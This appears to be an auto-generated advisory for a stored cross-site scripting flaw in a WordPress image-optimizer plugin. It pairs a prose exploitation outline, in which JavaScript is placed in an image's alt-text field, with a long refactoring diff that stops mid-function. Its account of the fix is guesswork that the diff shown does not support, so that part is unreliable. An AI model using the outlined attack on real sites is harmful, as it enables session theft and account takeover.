Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1319: Robin Image Optimizer <= 2.0.2 – Authenticated (Author+) Stored Cross-Site Scripting via Image Alternative Text Field (robin-image-optimizer)

CVE ID CVE-2026-1319
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.0.2
Patched Version 2.0.3
Disclosed February 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1319:
The vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Robin Image Optimizer WordPress plugin versions up to and including 2.0.2. The vulnerability exists in the plugin’s handling of the ‘Alternative Text’ field for Media Library images. Attackers with Author-level access or higher can inject arbitrary JavaScript payloads that persist and execute when users view pages containing the compromised images. The CVSS score of 6.4 reflects the medium severity of this stored XSS vulnerability.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping in the plugin’s image metadata handling. The vulnerability originates in the plugin’s processing of image alternative text data. Specifically, the plugin fails to properly sanitize user-supplied alternative text before storing it in the database and subsequently fails to escape this data when outputting it in administrative interfaces or frontend displays. The diff shows extensive changes across multiple files, but the core vulnerability relates to how the plugin processes and renders image metadata fields.

The exploitation method requires an authenticated attacker with at least Author-level permissions. Attackers would navigate to the WordPress Media Library, edit an image, and inject malicious JavaScript payloads into the ‘Alternative Text’ field. The payload would be saved as part of the image’s metadata. When the plugin displays this alternative text in administrative pages or frontend templates, the JavaScript executes in the victim’s browser context. The attack vector leverages the plugin’s normal image management workflow, requiring no special endpoints or parameters beyond standard WordPress media editing capabilities.

The patch addresses the vulnerability by implementing proper input sanitization and output escaping throughout the plugin. The diff shows the plugin updated its core framework from Factory480 to Factory600, indicating a major internal refactoring. While the specific XSS fix lines are not visible in the truncated diff, the extensive changes suggest comprehensive security hardening. The patch likely adds wp_kses() or similar sanitization functions to the alternative text input processing and esc_attr() or esc_html() functions to all output locations where alternative text is rendered. These changes prevent JavaScript injection by filtering malicious content before storage and escaping it before display.

Successful exploitation allows attackers to execute arbitrary JavaScript in the context of users viewing compromised images. This can lead to session hijacking, administrative account takeover, content defacement, or malware distribution. Since the vulnerability affects stored alternative text, the payload persists across sessions and affects all users who view the compromised images. Author-level attackers can escalate privileges to administrator by stealing session cookies or performing administrative actions through injected scripts.

Differential between vulnerable and patched code

Code Diff
--- a/robin-image-optimizer/admin/activation.php
+++ b/robin-image-optimizer/admin/activation.php
@@ -3,7 +3,7 @@
 /**
  * Activator for the Robin image optimizer
  *
- * @see           Factory480_Activator
+ * @see           Factory600_Activator
  * @version       1.0
  */

@@ -12,7 +12,7 @@
 	exit;
 }

-class WIO_Activation extends Wbcr_Factory480_Activator {
+class WIO_Activation extends Wbcr_Factory600_Activator {

 	/**
 	 * Runs activation actions.
@@ -52,7 +52,7 @@

 		RIO_Process_Queue::try_create_plugin_tables();

-		WBCRFactory_Templates_134Helpers::flushPageCache();
+		WBCRFactory_Templates_759Helpers::flushPageCache();

 		WRIO_Plugin::app()->logger->info( 'Parent plugin installation complete!' );
 	}
--- a/robin-image-optimizer/admin/includes/classes/class-rio-optimize-template.php
+++ b/robin-image-optimizer/admin/includes/classes/class-rio-optimize-template.php
@@ -102,6 +102,7 @@
 		$attach_dimensions    = $params['attach_dimensions'];
 		$attachment_file_size = $params['attachment_file_size'];
 		$is_skipped           = $params['is_skipped'];
+		$is_supported_format  = isset( $params['is_supported_format'] ) ? $params['is_supported_format'] : true;
 		$webp_size            = $params['webp_size'];
 		$avif_size            = isset( $params['avif_size'] ) ? $params['avif_size'] : 0;
 		$webp_percent         = isset( $params['webp_percent'] ) ? $params['webp_percent'] : 0;
@@ -109,7 +110,12 @@
 		$backuped             = isset( $params['backuped'] ) ? $params['backuped'] : false;

 		if ( $is_skipped ) {
-			return ob_get_clean();
+			return (string) ob_get_clean();
+		}
+
+		// Don't show buttons for unsupported formats
+		if ( ! $is_supported_format ) {
+			return (string) ob_get_clean();
 		}

 		if ( $is_optimized ) {
@@ -394,6 +400,6 @@
 			}
 		}

-		return ob_get_clean();
+		return (string) ob_get_clean();
 	}
 }
--- a/robin-image-optimizer/admin/pages/class-rio-license.php
+++ b/robin-image-optimizer/admin/pages/class-rio-license.php
@@ -3,7 +3,7 @@
  * License Page class
  *
  * Self-contained license management page without Factory Templates dependency.
- * Reuses existing factory-bootstrap-482 CSS framework.
+ * Reuses existing factory-bootstrap-500 CSS framework.
  *
  * @package    Robin_Image_Optimizer
  * @subpackage AdminPages
@@ -288,7 +288,7 @@
 		$min_height = $this->calculate_menu_height();
 		?>
 		<div id="WBCR" class="wrap">
-			<div class="wbcr-factory-templates-134-impressive-page-template factory-bootstrap-482 factory-fontawesome-000">
+			<div class="wbcr-factory-templates-759-impressive-page-template factory-bootstrap-500 factory-fontawesome-000">
 				<div class="wbcr-factory-page wbcr-factory-page-<?php echo esc_attr( $this->id ); ?>">
 					<?php $this->render_header(); ?>
 					<div class="wbcr-factory-left-navigation-bar">
@@ -503,7 +503,7 @@

 		?>
 		<div id="license-manager"
-			class="factory-bootstrap-482 onp-page-wrap <?php echo esc_attr( $license_type ); ?>-license-manager-content">
+			class="factory-bootstrap-500 onp-page-wrap <?php echo esc_attr( $license_type ); ?>-license-manager-content">

 			<?php if ( ! $has_pro ) : ?>
 				<?php $this->render_upgrade_banner(); ?>
--- a/robin-image-optimizer/admin/pages/class-rio-log.php
+++ b/robin-image-optimizer/admin/pages/class-rio-log.php
@@ -9,7 +9,7 @@
  *
  * @version       1.0
  */
-class WRIO_LogPage extends Wbcr_FactoryLogger149_PageBase {
+class WRIO_LogPage extends Wbcr_FactoryLogger359_PageBase {

 	/**
 	 * {@inheritdoc}
--- a/robin-image-optimizer/admin/pages/class-rio-page.php
+++ b/robin-image-optimizer/admin/pages/class-rio-page.php
@@ -16,7 +16,7 @@
  *
  * @version       1.0
  */
-class WRIO_Page extends WBCRFactory_Templates_134Impressive {
+class WRIO_Page extends WBCRFactory_Templates_759Impressive {

 	/**
 	 * {@inheritdoc}
--- a/robin-image-optimizer/admin/pages/class-rio-settings.php
+++ b/robin-image-optimizer/admin/pages/class-rio-settings.php
@@ -109,7 +109,7 @@
 	 *
 	 * @return void
 	 * @since 1.0.0
-	 * @see   Wbcr_FactoryPages480_AdminPage
+	 * @see   Wbcr_FactoryPages600_AdminPage
 	 */
 	public function assets( $scripts, $styles ) {
 		parent::assets( $scripts, $styles );
--- a/robin-image-optimizer/includes/class-rio-plugin.php
+++ b/robin-image-optimizer/includes/class-rio-plugin.php
@@ -9,11 +9,11 @@
  *
  * @version       1.0
  */
-class WRIO_Plugin extends Wbcr_Factory480_Plugin {
+class WRIO_Plugin extends Wbcr_Factory600_Plugin {

 	/**
 	 * @see self::app()
-	 * @var Wbcr_Factory480_Plugin
+	 * @var Wbcr_Factory600_Plugin
 	 */
 	private static $app;

@@ -82,12 +82,6 @@
 			// completely disable image size threshold
 			add_filter( 'big_image_size_threshold', '__return_false' );

-			if ( wrio_is_license_activate() ) {
-				if ( ! defined( 'FACTORY_ADVERTS_BLOCK' ) ) {
-					define( 'FACTORY_ADVERTS_BLOCK', true );
-				}
-			}
-
 			if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
 				// Ajax files
 				require_once WRIO_PLUGIN_DIR . '/admin/ajax/backup.php';
@@ -173,7 +167,7 @@
 		/**
 		 * The premium provider.
 		 *
-		 * @var WBCRFactory_480PremiumProvider|null
+		 * @var WBCRFactory_600PremiumProvider|null
 		 */
 		$license_manager = self::app()->premium;
 		if ( $license_manager ) {
@@ -182,7 +176,7 @@
 			/**
 			 * The license data.
 			 *
-			 * @var WBCRFactory_Freemius_170EntitiesLicense|null
+			 * @var WBCRFactory_Freemius_Rio_600EntitiesLicense|null
 			 */
 			$license_data = $license_manager->get_license();

@@ -274,14 +268,18 @@
 		$page_id   = $current_screen->id;
 		$page_slug = null;

-		if ( 'settings_page_rio_general-wbcr_image_optimizer' === $page_id ) {
+		if ( 'toplevel_page_rio_general-robin-image-optimizer' === $page_id ) {
 			$page_slug = 'bulk-optimization';
-		} elseif ( 'toplevel_page_rio_settings-wbcr_image_optimizer' === $page_id ) {
+		} elseif ( 'toplevel_page_io_folders_statistic-robin-image-optimizer' === $page_id ) {
+			$page_slug = 'custom-folders';
+		} elseif ( 'robin-image-optimizer_page_rio_settings-robin-image-optimizer' === $page_id ) {
 			$page_slug = 'settings';
-		} elseif ( 'toplevel_page_wbcr_io_logger-wbcr_image_optimizer' === $page_id ) {
+		} elseif ( 'robin-image-optimizer_page_wbcr_io_logger-robin-image-optimizer' === $page_id ) {
 			$page_slug = 'error-log';
-		} elseif ( 'toplevel_page_rio_license-wbcr_image_optimizer' === $page_id ) {
+		} elseif ( 'robin-image-optimizer_page_wrio_license' === $page_id ) {
 			$page_slug = 'license';
+		} elseif ( 'toplevel_page_io_nextgen_gallery_statistic-robin-image-optimizer' === $page_id ) {
+			$page_slug = 'nextgen-gallery';
 		}

 		if ( null === $page_slug ) {
@@ -337,7 +335,7 @@
 	 * Используется для получения настроек плагина, информации о плагине, для доступа к вспомогательным
 	 * классам.
 	 *
-	 * @return Wbcr_Factory480_Plugin|WRIO_Plugin
+	 * @return Wbcr_Factory600_Plugin|WRIO_Plugin
 	 */
 	public static function app() {
 		return self::$app;
@@ -386,6 +384,8 @@
 		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-media-library.php';
 		require_once WRIO_PLUGIN_DIR . '/includes/classes/processors/class-rio-server-abstract.php';
 		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-image-statistic.php';
+		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-image-query.php';
+		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-optimization-orchestrator.php';
 		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-backup.php';
 		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-optimization-tools.php';

@@ -406,6 +406,9 @@
 		// ----------------
 		require_once WRIO_PLUGIN_DIR . '/includes/classes/class-rio-cron.php';
 		new WRIO_Cron();
+
+		// Register cache invalidation hooks for WRIO_Image_Query
+		WRIO_Image_Query::register_hooks();
 	}

 	/**
--- a/robin-image-optimizer/includes/classes/class-rio-attachment.php
+++ b/robin-image-optimizer/includes/classes/class-rio-attachment.php
@@ -227,6 +227,18 @@
 	}

 	/**
+	 * Read file size reliably within the current request.
+	 * PHP caches stat() results; we clear cache for this path.
+	 *
+	 * @param mixed $file_path The file path.
+	 *
+	 * @return int
+	 */
+	protected function get_file_size( $file_path ) {
+		return wrio_get_file_size( $file_path );
+	}
+
+	/**
 	 * Оптимизация аттачмента.
 	 *
 	 * @param string $optimization_level Уровень оптимизации изображения.
@@ -315,7 +327,7 @@

 		$results['is_backed_up'] = $is_image_backuped;

-		$original_main_size = filesize( $this->path );
+		$original_main_size = $this->get_file_size( $this->path );

 		// если файл большой - изменяем размер
 		if ( $this->isNeedResize() ) {
@@ -368,6 +380,7 @@
 			$results['final_size']    = 0;

 			$extra_data = [
+				'original_main_size'        => $original_main_size,
 				'main_optimized_data'       => $optimized_img_data,
 				'thumbnails_optimized_data' => $this->optimizeImageSizes(),
 			];
@@ -387,7 +400,7 @@
 		// некоторые провайдеры не отдают оптимизированный размер, поэтому после замены файла получаем его сами
 		if ( ! $optimized_img_data['optimized_size'] ) {
 			clearstatcache();
-			$optimized_img_data['optimized_size'] = filesize( $this->get( 'path' ) );
+			$optimized_img_data['optimized_size'] = $this->get_file_size( $this->get( 'path' ) );
 		}

 		// при отрицательной оптимизации ставим значение оригинала
@@ -511,8 +524,11 @@
 			$original_size      = 0;
 			$optimized_size     = 0;
 			$thumbnails_count   = 0;
-			$original_main_size = filesize( $this->get( 'path' ) );
-			$original_size      = $original_size + $original_main_size;
+			$original_main_size = (int) $extra_data->get_original_main_size();
+			if ( $original_main_size <= 0 ) {
+				$original_main_size = $this->get_file_size( $this->get( 'path' ) );
+			}
+			$original_size = $original_size + $original_main_size;

 			$this->replaceOriginalFile(
 				[
@@ -522,7 +538,7 @@

 			clearstatcache();

-			$optimized_main_size = filesize( $this->get( 'path' ) );
+			$optimized_main_size = $this->get_file_size( $this->get( 'path' ) );

 			// при отрицательной оптимизации ставим значение оригинала
 			if ( $optimized_main_size > $original_main_size ) {
@@ -534,7 +550,7 @@
 			if ( is_array( $thumbnails['thumbnails'] ) ) {
 				foreach ( $thumbnails['thumbnails'] as $thumbnail_size => $thumbnail ) {
 					$thumbnail_file          = $this->getImageSizePath( $thumbnail_size );
-					$original_thumbnail_size = filesize( $thumbnail_file );
+					$original_thumbnail_size = $this->get_file_size( $thumbnail_file );
 					$original_size           = $original_size + $original_thumbnail_size;

 					$this->replaceOriginalFile(
@@ -546,7 +562,7 @@

 					clearstatcache();

-					$optimized_thumbnail_size = filesize( $thumbnail_file );
+					$optimized_thumbnail_size = $this->get_file_size( $thumbnail_file );

 					// при отрицательной оптимизации ставим значение оригинала
 					if ( $optimized_thumbnail_size > $original_thumbnail_size ) {
@@ -664,7 +680,7 @@
 			$original_file_size = 0;

 			if ( is_file( $path ) ) {
-				$original_file_size = filesize( $path );
+				$original_file_size = $this->get_file_size( $path );
 			}

 			$optimized_img_data = $image_processor->process(
@@ -685,7 +701,7 @@
 				// некоторые провайдеры не отдают оптимизированный размер, поэтому после замены файла получаем его сами
 				if ( ! $optimized_img_data['optimized_size'] ) {
 					clearstatcache();
-					$optimized_img_data['optimized_size'] = filesize( $path );
+					$optimized_img_data['optimized_size'] = $this->get_file_size( $path );
 				}
 				if ( ! $optimized_img_data['src_size'] ) {
 					$optimized_img_data['src_size'] = $original_file_size;
--- a/robin-image-optimizer/includes/classes/class-rio-backup.php
+++ b/robin-image-optimizer/includes/classes/class-rio-backup.php
@@ -422,6 +422,42 @@
 	}

 	/**
+	 * Get the backup file path for an attachment size if it exists.
+	 *
+	 * @param int    $attachment_id The attachment ID.
+	 * @param string $size          The image size (e.g., 'original', 'thumbnail', 'medium').
+	 *
+	 * @return string|null The backup file path if it exists, null otherwise.
+	 * @since  1.0.0
+	 */
+	public function getAttachmentBackupPath( $attachment_id, $size = 'original' ) {
+		$attachment_meta = wp_get_attachment_metadata( $attachment_id );
+
+		if ( empty( $attachment_meta ) || ! isset( $attachment_meta['file'] ) ) {
+			return null;
+		}
+
+		$backup_dir = $this->getAttachmentBackupDir( $attachment_meta );
+
+		if ( is_wp_error( $backup_dir ) ) {
+			return null;
+		}
+
+		// Get the filename based on size
+		if ( 'original' === $size ) {
+			$filename = wp_basename( $attachment_meta['file'] );
+		} elseif ( isset( $attachment_meta['sizes'][ $size ]['file'] ) ) {
+			$filename = $attachment_meta['sizes'][ $size ]['file'];
+		} else {
+			return null;
+		}
+
+		$backup_path = $backup_dir . $filename;
+
+		return file_exists( $backup_path ) ? $backup_path : null;
+	}
+
+	/**
 	 * Удаляем резервные копии аттачмента
 	 *
 	 * @param int $attachment_id   аттачмент id
--- a/robin-image-optimizer/includes/classes/class-rio-bulk-optimization.php
+++ b/robin-image-optimizer/includes/classes/class-rio-bulk-optimization.php
@@ -1,6 +1,6 @@
 <?php

-use WBCRFactory_Processing_113WP_Background_Process;
+use WBCRFactory_Processing_759WP_Background_Process;

 // Exit if accessed directly
 if ( ! defined( 'ABSPATH' ) ) {
@@ -70,29 +70,9 @@
 			wp_die( - 1 );
 		}

-		global $wpdb;
-
 		WRIO_Plugin::app()->deletePopulateOption( 'wrio_partial_total_count' );

-		$allowed_formats_sql = wrio_get_allowed_formats( true );
-
-		$sql = "SELECT COUNT(posts.ID) AS total_attachments
-				FROM {$wpdb->posts} as posts
-			 WHERE post_type = 'attachment'
-				AND post_status = 'inherit'
-				AND post_mime_type IN ( {$allowed_formats_sql} )";
-
-		// Если используется плагин WPML, исключаем дублирующие изображения
-		if ( defined( 'WPML_PLUGIN_FILE' ) ) {
-			$sql .= " AND NOT EXISTS
-				(SELECT trnsl.element_id FROM {$wpdb->prefix}icl_translations as trnsl
-				  WHERE trnsl.element_id = posts.ID
-				    AND trnsl.element_type = 'post_attachment'
-				    AND source_language_code IS NOT NULL
-			  )";
-		}
-
-		$total_attachments = $wpdb->get_var( $sql );
+		$total_attachments = WRIO_Image_Query::get_instance()->count_total_attachments();

 		wp_send_json_success(
 			[
@@ -549,6 +529,34 @@
 			wp_die( - 1 );
 		}

+		// Use orchestrator for media-library scope
+		if ( 'media-library' === $scope ) {
+			if ( $reset_current_error ) {
+				$media_library = WRIO_Media_Library::get_instance();
+				$media_library->resetCurrentErrors();
+			}
+
+			$orchestrator = WRIO_Optimization_Orchestrator::get_instance();
+			$result       = $orchestrator->execute_next_action( 1 );
+
+			if ( isset( $result['error'] ) ) {
+				$error_massage = $result['error'];
+
+				if ( empty( $error_massage ) ) {
+					$error_massage = __( "Unknown error. Enable error log on the plugin's settings page, then check the error report on the Error Log page. You can export the error report and send it to the support service of the plugin.", 'robin-image-optimizer' );
+				}
+
+				WRIO_Plugin::app()->logger->error( sprintf( 'Bulk optimization error: %s.', $error_massage ) );
+
+				wp_send_json_error( [ 'error_message' => $error_massage ] );
+			}
+
+			WRIO_Plugin::app()->logger->info( sprintf( 'End bulk optimization process! Scope: %s. Remain: %d', $scope, $result['remain'] ) );
+
+			wp_send_json_success( $result );
+		}
+
+		// Fall back to old behavior for custom-folders, nextgen, etc.
 		// Context class name. If plugin expands with add-ons
 		$class_name = 'WRIO_' . wrio_dashes_to_camel_case( $scope, true );

@@ -556,9 +564,7 @@
 			WRIO_Plugin::app()->logger->error( sprintf( 'Bulk optimization error: Context class (%s) not found.', $class_name ) );

 			// todo: Temporary bug fix.
-			if ( 'media-library' === $scope ) {
-				$class_name = 'WRIO_Media_Library';
-			} elseif ( 'custom-folders' === $scope ) {
+			if ( 'custom-folders' === $scope ) {
 				$class_name = 'WRIO_Custom_Folders';
 			} elseif ( 'nextgen-gallery' == $scope ) {
 				$class_name = 'WRIO_Nextgen_Gallery';
@@ -573,7 +579,6 @@
 		 * Create an instance of the class depending on the context in which scope user
 		 * has runned optimization.
 		 *
-		 * @see WRIO_Media_Library
 		 * @see WRIO_Custom_Folders
 		 * @see WRIO_Nextgen_Gallery
 		 * @var WRIO_Media_Library $optimizer
@@ -584,7 +589,6 @@
 			$optimizer->resetCurrentErrors();
 		}

-		// Step 1: Standard optimization
 		$result = $optimizer->processUnoptimizedImages( 1 );

 		if ( is_wp_error( $result ) ) {
@@ -599,40 +603,6 @@
 			wp_send_json_error( [ 'error_message' => $error_massage ] );
 		}

-		// Step 2: WebP conversion (if enabled and scope is media-library)
-		if ( 'media-library' === $scope && WRIO_Format_Converter_Factory::is_webp_enabled() ) {
-			$webp_result = $optimizer->webpUnoptimizedImages( 1, 'webp' );
-			if ( ! is_wp_error( $webp_result ) && ! empty( $webp_result['last_converted'] ) ) {
-				// Merge WebP data into result
-				if ( ! empty( $result['last_optimized'] ) ) {
-					foreach ( $result['last_optimized'] as $key => $item ) {
-						if ( isset( $webp_result['last_converted'][0] ) ) {
-							$result['last_optimized'][ $key ]['webp_size'] = $webp_result['last_converted'][0]['webp_size'] ?? null;
-						}
-					}
-				}
-				// Update statistics with WebP data
-				$result['statistic'] = $webp_result['statistic'];
-			}
-		}
-
-		// Step 3: AVIF conversion (if enabled, licensed, and scope is media-library)
-		if ( 'media-library' === $scope && WRIO_Format_Converter_Factory::is_avif_enabled() ) {
-			$avif_result = $optimizer->webpUnoptimizedImages( 1, 'avif' );
-			if ( ! is_wp_error( $avif_result ) && ! empty( $avif_result['last_converted'] ) ) {
-				// Merge AVIF data into result
-				if ( ! empty( $result['last_optimized'] ) ) {
-					foreach ( $result['last_optimized'] as $key => $item ) {
-						if ( isset( $avif_result['last_converted'][0] ) ) {
-							$result['last_optimized'][ $key ]['avif_size'] = $avif_result['last_converted'][0]['avif_size'] ?? null;
-						}
-					}
-				}
-				// Update statistics with AVIF data
-				$result['statistic'] = $avif_result['statistic'];
-			}
-		}
-
 		// If all images are processed, send completion command
 		if ( $result['remain'] <= 0 ) {
 			$result['end'] = true;
--- a/robin-image-optimizer/includes/classes/class-rio-image-query.php
+++ b/robin-image-optimizer/includes/classes/class-rio-image-query.php
@@ -0,0 +1,509 @@
+<?php
+/**
+ * Image Query class.
+ *
+ * @package Robin_Image_Optimizer
+ */
+
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * WRIO_Image_Query
+ */
+class WRIO_Image_Query {
+
+	/**
+	 * The single instance of the class.
+	 *
+	 * @var WRIO_Image_Query|null
+	 */
+	protected static $instance = null;
+
+	/**
+	 * Cache for allowed formats SQL string
+	 *
+	 * @var string
+	 */
+	protected $allowed_formats_sql;
+
+	/**
+	 * Cache for required conversion types
+	 *
+	 * @var string[]|null
+	 */
+	protected $required_types = null;
+
+	/**
+	 * Cache group for all query results
+	 *
+	 * @var string
+	 */
+	const CACHE_GROUP = 'wrio_image_query';
+
+	/**
+	 * Constructor
+	 */
+	public function __construct() {
+		$formats                   = wrio_get_allowed_formats( true );
+		$this->allowed_formats_sql = is_array( $formats ) ? implode( ', ', $formats ) : $formats;
+	}
+
+	/**
+	 * Register cache invalidation hooks.
+	 *
+	 * Call this once during plugin initialization to automatically
+	 * clear query caches when images are optimized, restored, or deleted.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return void
+	 */
+	public static function register_hooks() {
+		add_action( 'wbcr/riop/queue_item_saved', [ __CLASS__, 'clear_cache' ], 100 );
+		add_action( 'wbcr/rio/attachment_restored', [ __CLASS__, 'clear_cache' ], 100 );
+		add_action( 'delete_attachment', [ __CLASS__, 'clear_cache' ], 100 );
+	}
+
+	/**
+	 * Get singleton instance
+	 *
+	 * @return WRIO_Image_Query
+	 */
+	public static function get_instance() {
+		if ( null === self::$instance ) {
+			self::$instance = new self();
+		}
+
+		return self::$instance;
+	}
+
+	/**
+	 * Build list of required conversion types based on enabled formats.
+	 * Computed fresh each call to avoid stale data.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string[] Array of required item_types
+	 */
+	protected function build_required_types() {
+		$types = [ 'attachment' ]; // Basic optimization always required
+
+		if ( class_exists( 'WRIO_Format_Converter_Factory' ) ) {
+			if ( WRIO_Format_Converter_Factory::is_webp_enabled() ) {
+				$types[] = 'webp';
+			}
+			if ( WRIO_Format_Converter_Factory::is_avif_enabled() ) {
+				$types[] = 'avif';
+			}
+		}
+
+		return $types;
+	}
+
+	/**
+	 * Get required conversion types.
+	 * Lazy loads on first access.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string[]
+	 */
+	public function get_required_types() {
+		if ( null === $this->required_types ) {
+			$this->required_types = $this->build_required_types();
+		}
+
+		return $this->required_types;
+	}
+
+	/**
+	 * Get sanitized optimization order.
+	 * Prevents SQL injection by validating order parameter.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string 'ASC' or 'DESC'
+	 */
+	protected function get_optimize_order() {
+		$order = WRIO_Plugin::app()->getOption( 'image_optimization_order', 'asc' );
+
+		// Whitelist validation - only allow 'DESC', all others default to 'ASC'
+		return strtolower( $order ) === 'desc' ? 'DESC' : 'ASC';
+	}
+
+	/**
+	 * Get WPML exclusion clause for filtering translation duplicates.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string SQL clause or empty string if WPML not active
+	 */
+	protected function get_wpml_exclusion_clause() {
+		global $wpdb;
+
+		if ( ! defined( 'WPML_PLUGIN_FILE' ) ) {
+			return '';
+		}
+
+		return " AND NOT EXISTS (
+			SELECT trnsl.element_id
+			FROM {$wpdb->prefix}icl_translations AS trnsl
+			WHERE trnsl.element_id = posts.ID
+				AND trnsl.element_type = 'post_attachment'
+				AND trnsl.source_language_code IS NOT NULL
+		)";
+	}
+
+	/**
+	 * Append pagination to SQL query.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string   $sql    SQL query.
+	 * @param int|null $limit  Number of results to return.
+	 * @param int      $offset Number of results to skip.
+	 *
+	 * @return string SQL with pagination appended
+	 */
+	protected function append_pagination( $sql, $limit = null, $offset = 0 ) {
+		if ( $limit ) {
+			$sql .= sprintf( ' LIMIT %d, %d', absint( $offset ), absint( $limit ) );
+		}
+
+		return $sql;
+	}
+
+	/**
+	 * Get cached count or compute and cache result.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string   $cache_key Cache key (will be namespaced).
+	 * @param callable $callback  Callback that returns the count.
+	 *
+	 * @return int
+	 */
+	protected function get_cached_count( $cache_key, $callback ) {
+		$cached = wp_cache_get( $cache_key, self::CACHE_GROUP );
+
+		if ( false !== $cached ) {
+			return (int) $cached;
+		}
+
+		$count = (int) call_user_func( $callback );
+
+		wp_cache_set( $cache_key, $count, self::CACHE_GROUP, HOUR_IN_SECONDS );
+
+		return $count;
+	}
+
+	/**
+	 * Build base attachment query with common conditions.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $select_clause The SELECT portion (e.g., 'DISTINCT posts.ID').
+	 *
+	 * @return string
+	 */
+	protected function get_base_query( $select_clause ) {
+		global $wpdb;
+
+		return "SELECT {$select_clause}
+			FROM {$wpdb->posts} posts
+			WHERE posts.post_type = 'attachment'
+				AND posts.post_status = 'inherit'
+				AND posts.post_mime_type IN ( {$this->allowed_formats_sql} )";
+	}
+
+	/**
+	 * Build optimization status EXISTS clause.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param bool $negate    Use NOT EXISTS instead of EXISTS.
+	 * @param bool $all_types Check all required types are complete.
+	 *
+	 * @return string SQL clause
+	 */
+	protected function get_optimization_exists_clause( $negate = false, $all_types = true ) {
+		$db_table = RIO_Process_Queue::table_name();
+		$exists   = $negate ? 'NOT EXISTS' : 'EXISTS';
+		$types    = $this->get_required_types();
+
+		$placeholders = implode( ',', array_fill( 0, count( $types ), '%s' ) );
+
+		$clause = "{$exists} (
+			SELECT 1
+			FROM {$db_table} rio
+			WHERE rio.object_id = posts.ID
+				AND rio.item_type IN ( {$placeholders} )
+				AND rio.result_status = 'success'";
+
+		if ( $all_types ) {
+			$clause .= '
+			GROUP BY rio.object_id
+			HAVING COUNT(DISTINCT rio.item_type) = ' . count( $types );
+		}
+
+		$clause .= '
+		)';
+
+		return $clause;
+	}
+
+	/**
+	 * Build error status EXISTS clause.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return string SQL clause
+	 */
+	protected function get_error_exists_clause() {
+		$db_table = RIO_Process_Queue::table_name();
+
+		return "EXISTS (
+			SELECT 1
+			FROM {$db_table} rio
+			WHERE rio.object_id = posts.ID
+				AND rio.result_status = 'error'
+		)";
+	}
+
+	/**
+	 * Get IDs of fully optimized images.
+	 *
+	 * An image is optimized if it has successful conversions for ALL required types.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int|null $limit  Number of results to return. NULL for no limit.
+	 * @param int      $offset Number of results to skip.
+	 *
+	 * @return int[] Array of attachment IDs
+	 */
+	public function get_optimized_ids( $limit = null, $offset = 0 ) {
+		global $wpdb;
+
+		$sql  = $this->get_base_query( 'DISTINCT posts.ID' );
+		$sql .= ' AND ' . $this->get_optimization_exists_clause( false, true );
+		$sql .= ' ORDER BY posts.ID ' . $this->get_optimize_order();
+		$sql  = $this->append_pagination( $sql, $limit, $offset );
+
+		$sql = $wpdb->prepare( $sql, $this->get_required_types() );
+
+		$result = $wpdb->get_col( $sql );
+
+		return array_map( 'absint', $result ?? [] );
+	}
+
+	/**
+	 * Get IDs of unoptimized images.
+	 *
+	 * Unoptimized images are those missing ANY required conversion with success status.
+	 * Includes: never queued, partial, failed, and processing images.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int|null $limit              Number of results to return. NULL for no limit.
+	 * @param int      $offset             Number of results to skip.
+	 * @param bool     $exclude_wpml_dupes Whether to exclude WPML translation duplicates.
+	 *
+	 * @return int[] Array of attachment IDs
+	 */
+	public function get_unoptimized_ids( $limit = null, $offset = 0, $exclude_wpml_dupes = true ) {
+		global $wpdb;
+
+		$sql  = $this->get_base_query( 'DISTINCT posts.ID' );
+		$sql .= ' AND ' . $this->get_optimization_exists_clause( true, true );
+
+		if ( $exclude_wpml_dupes ) {
+			$sql .= $this->get_wpml_exclusion_clause();
+		}
+
+		$sql .= ' ORDER BY posts.ID ' . $this->get_optimize_order();
+		$sql  = $this->append_pagination( $sql, $limit, $offset );
+
+		$sql = $wpdb->prepare( $sql, $this->get_required_types() );
+
+		$result = $wpdb->get_col( $sql );
+
+		return array_map( 'absint', $result ?? [] );
+	}
+
+	/**
+	 * Get IDs of images with optimization errors.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param int|null $limit  Number of results to return. NULL for no limit.
+	 * @param int      $offset Number of results to skip.
+	 *
+	 * @return int[] Array of attachment IDs
+	 */
+	public function get_error_ids( $limit = null, $offset = 0 ) {
+		global $wpdb;
+
+		$sql  = $this->get_base_query( 'DISTINCT posts.ID' );
+		$sql .= ' AND ' . $this->get_error_exists_clause();
+		$sql .= ' ORDER BY posts.ID ASC';
+		$sql  = $this->append_pagination( $sql, $limit, $offset );
+
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query built with safe methods, no user input.
+		$result = $wpdb->get_col( $sql );
+
+		return array_map( 'absint', $result ?? [] );
+	}
+
+	/**
+	 * Count fully optimized images.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @return int
+	 */
+	public function count_optimized() {
+		return $this->get_cached_count(
+			'count_optimized',
+			function () {
+				global $wpdb;
+
+				$sql  = $this->get_base_query( 'COUNT(DISTINCT posts.ID)' );
+				$sql .= ' AND ' . $this->get_optimization_exists_clause( false, true );
+
+				// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared -- Query built with safe methods and prepared with types.
+				$sql = $wpdb->prepare( $sql, $this->get_required_types() );
+
